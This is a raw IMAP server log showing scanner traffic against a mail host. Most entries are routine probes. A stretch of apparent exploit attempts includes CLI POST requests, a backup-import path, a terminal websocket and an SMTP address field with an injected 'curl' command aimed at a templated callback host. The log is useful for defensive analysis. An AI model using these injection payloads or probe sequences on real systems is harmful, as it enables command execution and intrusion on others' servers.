#Software: MailEnable IMAP Server #Version: 1.2 #Date: 09/28/26 01:23:22 #Fields: date time c-ip agent account cs-username s-ip s-port cs-method cs-uristem cs-uriquery s-computername sc-bytes cs-bytes time-taken 26-09-28 01:23:22 71.6.135.131 IMAP-IN - - 85.215.251.124 4176 CAPABILITY capability *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-28 01:23:22 71.6.135.131 IMAP-IN - - 85.215.251.124 4176 UNKN id+nil A002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 13 0 26-09-28 01:23:23 71.6.135.131 IMAP-IN - - 85.215.251.124 4176 UNKN unknowncmd A003+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 17 0 26-09-28 01:23:23 71.6.135.131 IMAP-IN - - 85.215.251.124 4176 LOGOUT logout *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 13 0 26-09-28 03:29:15 198.235.24.195 IMAP-IN - - 85.215.251.124 4456 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-28 03:29:15 198.235.24.195 IMAP-IN - - 85.215.251.124 4456 UNKN STARTTLS a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-28 05:04:00 86.54.28.210 IMAP-IN - - 85.215.251.124 4964 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 18 0 26-09-28 05:04:00 86.54.28.210 IMAP-IN - - 85.215.251.124 4964 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 06:03:05 104.152.52.102 IMAP-IN - - 85.215.251.124 3256 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-09-28 07:07:53 66.132.195.115 IMAP-IN - - 85.215.251.124 4964 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-28 08:45:02 104.199.58.189 IMAP-IN - - 85.215.251.124 4792 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 129 21 0 26-09-28 08:45:58 34.156.196.191 IMAP-IN - - 85.215.251.124 3256 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 18 0 26-09-28 08:45:58 34.156.196.191 IMAP-IN - - 85.215.251.124 3256 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 08:45:58 34.156.196.191 IMAP-IN - - 85.215.251.124 4176 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-09-28 08:46:07 34.156.196.191 IMAP-IN - - 85.215.251.124 4940 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-28 09:05:43 185.247.137.33 IMAP-IN - - 85.215.251.124 4524 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-28 09:05:45 185.247.137.33 IMAP-IN - - 85.215.251.124 4524 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 13 15 26-09-28 09:26:41 64.62.197.2 IMAP-IN - - 85.215.251.124 4740 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-28 13:24:20 194.164.107.5 IMAP-IN - - 85.215.251.124 4656 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 122 14 0 26-09-28 13:24:20 194.164.107.5 IMAP-IN - - 85.215.251.124 4656 UNKN ID+("name"+"zgrabscanner"+"version"+"1.0"+"vendor"+"fhms") 1+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 23 62 0 26-09-28 13:24:20 194.164.107.5 IMAP-IN - - 85.215.251.124 4656 UNKN STARTTLS B+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 23 12 0 26-09-28 13:55:38 194.164.107.5 IMAP-IN - - 85.215.251.124 4672 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 205 0 26-09-28 13:55:38 194.164.107.5 IMAP-IN - - 85.215.251.124 4672 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 13:55:38 194.164.107.5 IMAP-IN - - 85.215.251.124 4672 UNKN Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/153.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 13:55:38 194.164.107.5 IMAP-IN - - 85.215.251.124 4672 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-28 13:55:38 194.164.107.5 IMAP-IN - - 85.215.251.124 4672 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-09-28 13:55:38 194.164.107.5 IMAP-IN - - 85.215.251.124 4672 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 14:52:10 193.124.20.244 IMAP-IN - - 85.215.251.124 5116 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-28 19:43:10 185.242.226.17 IMAP-IN - - 85.215.251.124 3600 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 46 0 26-09-28 19:43:10 185.242.226.17 IMAP-IN - - 85.215.251.124 3600 UNKN ID A002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 0 0 26-09-28 19:43:10 185.242.226.17 IMAP-IN - - 85.215.251.124 3600 UNKN - A003 WIN-RBUO1FA4VBJ 28 0 0 26-09-28 19:43:10 185.242.226.17 IMAP-IN - - 85.215.251.124 3600 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 0 0 26-09-28 20:00:29 66.132.186.192 IMAP-IN - - 85.215.251.124 4672 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-28 20:30:21 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 79 0 26-09-28 20:30:21 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 20:30:21 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN ac5324b6-7cdd-4b4a-aacb-fce6a73f48ad Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 20:36:18 66.240.246.243 IMAP-IN - - 85.215.251.124 3184 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN ac5324b6-7cdd-4b4a-aacb-fce6a73f48ad Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 20:36:19 66.240.246.243 IMAP-IN - - 85.215.251.124 3748 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN 2a243647-e27c-4632-ea39-c38f137dbc11 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 20:36:20 66.240.246.243 IMAP-IN - - 85.215.251.124 3580 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN 2a243647-e27c-4632-ea39-c38f137dbc11 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 20:36:21 66.240.246.243 IMAP-IN - - 85.215.251.124 5032 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 20:37:09 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-28 20:37:10 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-09-28 20:37:10 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-09-28 20:37:10 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-09-28 20:37:10 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-09-28 20:37:10 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-09-28 20:37:10 66.240.246.243 IMAP-IN - - 85.215.251.124 4568 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 203 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN http://85.215.251.124:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-28 20:42:53 66.240.246.243 IMAP-IN - - 85.215.251.124 3012 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 21:29:21 205.210.31.185 IMAP-IN - - 85.215.251.124 5048 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-28 21:29:22 205.210.31.185 IMAP-IN - - 85.215.251.124 5048 UNKN STARTTLS a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-28 23:43:35 71.6.239.207 IMAP-IN - - 85.215.251.124 3260 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 92 0 26-09-28 23:43:35 71.6.239.207 IMAP-IN - - 85.215.251.124 3260 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 23:43:35 71.6.239.207 IMAP-IN - - 85.215.251.124 3260 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN 595e8bdc-c298-4fa8-8953-6ad8327c61e3 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 23:49:46 71.6.239.207 IMAP-IN - - 85.215.251.124 5032 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN 595e8bdc-c298-4fa8-8953-6ad8327c61e3 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 23:49:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3432 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN dd1fba98-08a1-4bc4-b752-4f6dad0d53ec Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 23:49:51 71.6.239.207 IMAP-IN - - 85.215.251.124 3580 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN dd1fba98-08a1-4bc4-b752-4f6dad0d53ec Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-28 23:49:52 71.6.239.207 IMAP-IN - - 85.215.251.124 4420 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-28 23:50:46 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-28 23:50:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-09-28 23:50:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-09-28 23:50:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-09-28 23:50:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-09-28 23:50:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-09-28 23:50:47 71.6.239.207 IMAP-IN - - 85.215.251.124 3672 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 229 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN http://ip85-215-251-124.pbiaas.com:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-28 23:56:24 71.6.239.207 IMAP-IN - - 85.215.251.124 4988 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-29 06:46:31 198.235.24.216 IMAP-IN - - 85.215.251.124 4568 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0